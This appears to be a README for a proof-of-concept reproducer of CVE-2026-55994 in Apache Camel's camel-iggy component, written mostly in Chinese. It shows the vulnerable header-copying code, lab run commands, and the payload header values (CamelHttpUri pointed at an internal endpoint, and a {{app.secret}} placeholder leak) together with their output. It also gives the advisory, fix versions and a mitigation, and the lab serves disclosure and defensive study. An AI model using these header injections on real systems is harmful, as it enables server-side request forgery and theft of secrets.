
PoC reproducer for CVE-2026-55994 (Apache Camel camel-iggy): the consumer copies an Iggy message's user-headers onto the Exchange unfiltered, so an injected CamelHttpUri drives a server-side request (SSRF) and leaks resolved property placeholders. Fixed in 4.18.3/4.21.0.
此项目演示 Apache Camel 的 camel-iggy 组件中的消息头注入漏洞,跟踪编号为 CVE-2026-55994。Iggy 消费者将入站消息的用户头复制到 Camel Exchange 而不使用任何 HeaderFilterStrategy,因此任何能够向所消费的 Iggy 主题发布消息的人都可以注入 Camel 控制头——特别是 CamelHttpUri:
// IggyFetchRecords.createExchange (受影响版本 4.18.2) — Iggy 消息用户头 -> Exchange 头,未过滤
message.userHeaders().ifPresent(userHeaders -> {
Map<String, Object> stringUserHeaders = userHeaders.entrySet().stream().collect(Collectors.toMap(
e -> e.getKey(),
e -> e.getValue().value()));
exchange.getIn().setHeaders(stringUserHeaders);
});
当路由将此消费者桥接到 HTTP 生产者时,注入的 CamelHttpUri 会覆盖生产者的目标 URI——造成服务端请求伪造(SSRF)。camel-http 生产者还会对该攻击者控制的 URI 调用 resolvePropertyPlaceholders(),因此注入的 {{...}} 引用会被展开为其真实值并被发送出去——泄露环境变量、应用属性或保险库机密。
此 PoC 展示了影响为 SSRF 加机密泄露 (CWE-20 → CWE-918 + CWE-200)。它是 CAMEL-23532 下同时修复的三个相关组件之一(另外两个是 camel-vertx-websocket,CVE-2026-46726 和 camel-atmosphere-websocket,CVE-2026-55993)。
公告:https://camel.apache.org/security/CVE-2026-55994.html
修复方法是对入站映射应用
HeaderFilterStrategy,过滤Camel*/camel*头,使其无法再通过 Iggy 消息的用户头注入。
易受攻击的 IggyFetchRecords.createExchange(...) 在伪造的 Iggy 消息上原封不动地运行,该消息的用户头受攻击者控制。生成的 Exchange 通过真实路由流向真实的 camel-http 生产者,因此 SSRF 和 {{...}} 属性占位符泄露是真实的。
为何不使用真实的 Iggy Broker。
iggy:消费者的doStart会打开到运行中 Iggy 服务器的连接,因此没有 Iggy 服务器路由就无法启动——而 Apache Iggy 服务器需要io_uring,Docker 默认的 seccomp 配置文件会阻止它(只有使用--privileged才能运行),这使得它不适合可移植、可分享的 PoC。易受攻击的createExchange本身不需要 broker,因此驱动代码构造真实的IggyFetchRecords并直接使用伪造的消息调用它。相关组件camel-vertx-websocket的 PoC (CVE-2026-46726) 则通过真实传输驱动相同的缺陷。
在真实部署中:from("iggy:orders?streamName=demo&...").to("http://.../legit-backend")。此处下游部分为 from("direct:iggy-delivery").to("http://localhost:8080/legit-backend"),接收由真实的 createExchange 构建的恶意 Exchange。
CVE-2026-55994/
├── pom.xml # camel-iggy + camel-http 4.18.2
├── Dockerfile
├── docker-compose.yml # 单一自包含服务
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # 下游链路 -> http://localhost:8080/legit-backend
│ ├── SinkController.java # SSRF 收集器:/legit-backend, /internal/secret, /collect
│ └── ExploitController.java # 伪造 Iggy 消息 + 运行真实的 createExchange (注入 CamelHttpUri)
└── resources/
└── application.properties # app.secret=... (通过占位符解析泄露)
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) Ordinary message (user-header x-order-id=A-1001)
reached /legit-backend: true
reached /internal/secret: false
2) Injected user-header 'CamelHttpUri=http://localhost:8080/internal/secret' (SSRF)
server-side request reached /internal/secret: true
3) Injected user-header 'CamelHttpUri=http://localhost:8080/collect?leak={{app.secret}}' (secret disclosure)
attacker's collector received leak = SUPER-SECRET-abc123
equals the app's real secret: true
>>> SSRF=true, secret-disclosure=true
升级到 4.18.3 / 4.21.0 (CAMEL-23532)。升级后,消费者会过滤来自 Iggy 消息用户头的 Camel* 头,因此 CamelHttpUri 和其他控制头将无法再被注入。
在升级之前,不要将 iggy: 消费者直接桥接到 HTTP 生产者,除非先剥离 Camel 控制头(例如使用 removeHeaders("CamelHttp*")),并从可信来源设置生产者的目标(或使用 bridgeEndpoint=true)。
此复现器仅用于安全研究和授权测试,针对已公开披露并修复的漏洞。请勿在未经明确许可的系统上使用它。
| 属性 | 值 |
|---|
| 组件 | camel-iggy |
| 受影响类 | org.apache.camel.component.iggy.IggyFetchRecords#createExchange (将消息用户头映射到 Exchange 头,无过滤) |
| CWE | CWE-20 (输入验证不当) → CWE-918 (服务端请求伪造) + CWE-200 (信息泄露) |
| 影响 | SSRF 以及通过注入 URI 上的属性占位符解析泄露机密 |
| 前提条件 | 路由将 iggy: 消费者桥接到 HTTP 生产者;攻击者可以发布到所消费的主题 |
| 受影响版本 | 从 4.17.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 (camel-iggy 在 4.17.0 中引入) |
| 修复版本 | 4.18.3, 4.21.0 |
| JIRA | CAMEL-23532 (PR apache/camel#23285) |
| 致谢 | Kamalpreet Singh |